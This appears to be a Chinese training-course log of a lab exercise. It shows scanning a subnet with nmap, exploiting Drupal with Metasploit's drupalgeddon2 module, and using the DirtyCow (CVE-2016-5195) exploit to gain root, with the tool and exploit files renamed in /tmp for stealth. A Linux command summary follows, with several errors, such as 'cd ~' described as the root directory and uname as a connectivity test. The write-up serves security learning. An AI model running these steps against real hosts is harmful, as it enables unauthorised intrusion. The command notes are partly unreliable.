实训日志 day10

目录

1.复现上课的提权案例

1.1 端口扫描

1.2 信息收集

1.3 msf连接

1.4 配置工具

1.5 漏洞发现

1.6 漏洞利用

1.7 权限提升

2.总结Linux内核提权利用步骤(从内网信息收集到提权成功的思路)

2.1 内网信息收集

2.2 漏洞搜索与验证

2.3 漏洞利用

2.4 权限提升

3.总结Linux常用命令

3.1. ls

3.2 cd

3.3 cp

3.4 mv

3.5 rm

3.6 mkdir

3.7 touch

3.8 cat

3.9 chmod

3.10 ping

3.11 uname


1.复现上课的提权案例

目标:我们要对一台不知道登录密码的同网段下的linux主机实现提权

1.1 端口扫描

        已知受害主机和kali是在同一个网段下的,查看kali的ip

        使用nmap进行网段扫描

nmap 192.168.159.0/24

       发现除了192.168.159.129,还有一个疑似主机的ip为192.168.159.133 ,使用nmap对其进行进一步的全端口深度扫描

nmap -T4 -p 1-65535 192.168.159.133

1.2 信息收集

        发现它开启了1898端口,使用firefox访问该服务,通过Wappalyzer插件查看用到的框架,如它含有Drupal,往后我们以此作为突破点。

1.3 msf连接

        kali自带msf,使用命令启动msf

msfconsole

        在里面搜索前面提到的框架并使用该模块

search Drupal
use exploit/unix/webapp/drupal_drupalgeddon2 

        用show options查看需要配置的参数,发现需要重新配置的有rhosts和rport,其他默认即可

        填写受害机的ip,同时端口设置为刚才扫描出的已开启的端口1898,然后使用run连接,看到meterpreter就表示连接成功了。

set rhosts 192.168.159.133
set rport 1898
run

        在这里可以使用一些命令查看主机的信息,如主机的内核信息为14.04.1-Ubuntu。

1.4 配置工具

        下载提权辅助工具linux-exploit-suggester-master,并上传到受害主机,为了保证上传的隐蔽性,选择上传到tmp目录下,并更名为hh.sh,命令如下:

upload /root/linux-exploit-suggester-master/linux-exploit-suggester.sh /tmp/hh.sh

        查看文件权限,发现不可执行:

cd /tmp
ls -la

        为该文件添加可执行权限

chmod +x hh.sh

1.5 漏洞发现

        运行hh.sh,从中可以看到许多受害主机可能存在的漏洞

./hh.sh

        从中可以发现存在dirtycow漏洞

1.6 漏洞利用

        通过使用浏览器查询CVE-2016-5195

        宝藏网站:https://github.com/nomi-sec/PoC-in-GitHub

        找到CVE-2016-5195并访问,从中有对应EXP网站指引,下载EXP并上传至kali

        上传文件到受害主机的tmp目录并命名为herry.cpp

upload /root/CVE-2016-5195-master/dcow.cpp /tmp/herry.cpp

        启动shell,间接在受害主机上对cpp文件进行编译

shell
cd /tmp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o herry herry.cpp -lutil

        这里可以看到编译后的程序是由执行权限的,启动该程序,可以看到受害主机的登录密码。

1.7 权限提升

        尝试使用su root获取管理员权限,提示缺少终端,使用python下载后重试,并输入刚才跑出来的密码以登录

python -c 'import pty; pty.spawn("/bin/bash")'

        成功提升权限为root:

2.总结Linux内核提权利用步骤(从内网信息收集到提权成功的思路)

2.1 内网信息收集

  • 确定攻击目标:使用工具如nmap扫描内网存活的主机,确定潜在的攻击目标。
  • 收集目标系统信息:通过nmap或其他扫描工具收集目标系统的详细信息,包括操作系统版本、内核版本、开放端口、运行的服务、已安装的软件等。

2.2 漏洞搜索与验证

  • 查找已知漏洞:根据收集到的系统信息,在漏洞数据库(如Exploit-DB、CVE Details等)中搜索对应的已知漏洞。
  • 验证漏洞存在性:使用工具msfconsole的search和exploit模块来验证漏洞是否存在于目标系统上。

2.3 漏洞利用

  • 下载EXP:从GitHub、Exploit-DB等网站下载针对该漏洞的EXP(漏洞利用代码)。
  • 编译EXP(如果必要):有些EXP需要编译后才能使用,使用gcc或其他编译器进行编译。
  • 执行EXP:在目标系统上执行编译好的EXP,尝试利用漏洞获取更高的权限。

2.4 权限提升

  • 检查提权结果:执行EXP后,检查是否成功获得了更高的权限,如root权限。
  • 稳定shell:如果获得了shell,但不稳定或不方便使用,可以使用如python -c 'import pty; pty.spawn("/bin/bash")'的命令来切换到更稳定的shell。

3.总结Linux常用命令

3.1. ls

  • 功能:列出目录中的文件和子目录。
  • 常用选项
    • -l:以长格式显示文件和目录的详细信息。
    • -a:显示所有文件,包括以.开头的隐藏文件。

3.2 cd

  • 功能:更改当前目录。
  • 常用用法
    • cd /path:切换到指定目录。
    • cd ..:返回上级目录。
    • cd ~:进入根目录。

3.3 cp

  • 功能:复制文件或目录。
  • 常用用法
    • cp source_file destination(针对文件复制)
    • cp -r source_directory destination # 递归复制目录及其内容(针对文件夹复制)

3.4 mv

  • 功能:移动文件或目录,也可以用于文件或目录的重命名。
  • 常用用法
    • mv old_name new_name

3.5 rm

  • 功能:删除文件或目录。
  • 常用用法
    • rm file_name(针对文件复制)
    • rm -r directory_name # 递归删除目录及其内容(针对文件夹复制)

3.6 mkdir

  • 功能:创建新的目录。
  • 常用用法
    • mkdir directory_name

3.7 touch

  • 功能:创建新的空文件或更改现有文件的时间戳。
  • 常用用法:
    • touch file_name

3.8 cat

  • 功能:查看文件内容或连接多个文件并输出到标准输出设备上。
  • 常用用法:
    • cat file_name

3.9 chmod

  • 功能:改变文件或目录的权限,通常与ls -la联用
  • 常用用法:
    • chmod permissions file_name

3.10 ping

  • 功能:测试与主机的连通性
  • 常用用法:
    • ping host_name_or_ip

3.11 uname

  • 功能:测试与主机的连通性
  • 常用用法:
    • uname -a

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值